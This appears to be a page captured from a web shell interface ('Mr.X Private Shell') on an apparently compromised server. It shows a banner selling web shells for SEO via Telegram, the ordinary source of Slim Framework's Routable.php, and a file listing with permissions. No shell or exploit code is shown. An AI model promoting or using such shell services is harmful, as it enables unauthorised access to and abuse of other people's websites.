__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Slim Framework (https://slimframework.com)
*
* @license https://github.com/slimphp/Slim/blob/3.x/LICENSE.md (MIT License)
*/
namespace Slim;
use AmeliaPsr\Container\ContainerInterface;
abstract class Routable
{
use CallableResolverAwareTrait;
/**
* Route callable
*
* @var callable
*/
protected $callable;
/**
* Container
*
* @var ContainerInterface
*/
protected $container;
/**
* Route middleware
*
* @var callable[]
*/
protected $middleware = [];
/**
* Route pattern
*
* @var string
*/
protected $pattern;
/**
* @param string $pattern
* @param callable $callable
*/
public function __construct($pattern, $callable)
{
$this->pattern = $pattern;
$this->callable = $callable;
}
/**
* Get the middleware registered for the group
*
* @return callable[]
*/
public function getMiddleware()
{
return $this->middleware;
}
/**
* Get the route pattern
*
* @return string
*/
public function getPattern()
{
return $this->pattern;
}
/**
* Set container for use with resolveCallable
*
* @param ContainerInterface $container
*
* @return static
*/
public function setContainer(ContainerInterface $container)
{
$this->container = $container;
return $this;
}
/**
* Prepend middleware to the middleware collection
*
* @param callable|string $callable The callback routine
*
* @return static
*/
public function add($callable)
{
$this->middleware[] = new DeferredCallable($callable, $this->container);
return $this;
}
/**
* Set the route pattern
*
* @param string $newPattern
*/
public function setPattern($newPattern)
{
$this->pattern = $newPattern;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Exception | Folder | 0750 |
|
|
| Handlers | Folder | 0750 |
|
|
| Http | Folder | 0750 |
|
|
| Interfaces | Folder | 0750 |
|
|
| App.php | File | 23.45 KB | 0640 |
|
| CallableResolver.php | File | 3.08 KB | 0640 |
|
| CallableResolverAwareTrait.php | File | 1.11 KB | 0640 |
|
| Collection.php | File | 3.16 KB | 0640 |
|
| Container.php | File | 5.77 KB | 0640 |
|
| DefaultServicesProvider.php | File | 6.26 KB | 0640 |
|
| DeferredCallable.php | File | 1.14 KB | 0640 |
|
| MiddlewareAwareTrait.php | File | 3.35 KB | 0640 |
|
| Routable.php | File | 1.94 KB | 0640 |
|
| Route.php | File | 6.59 KB | 0640 |
|
| RouteGroup.php | File | 585 B | 0640 |
|
| Router.php | File | 11.7 KB | 0640 |
|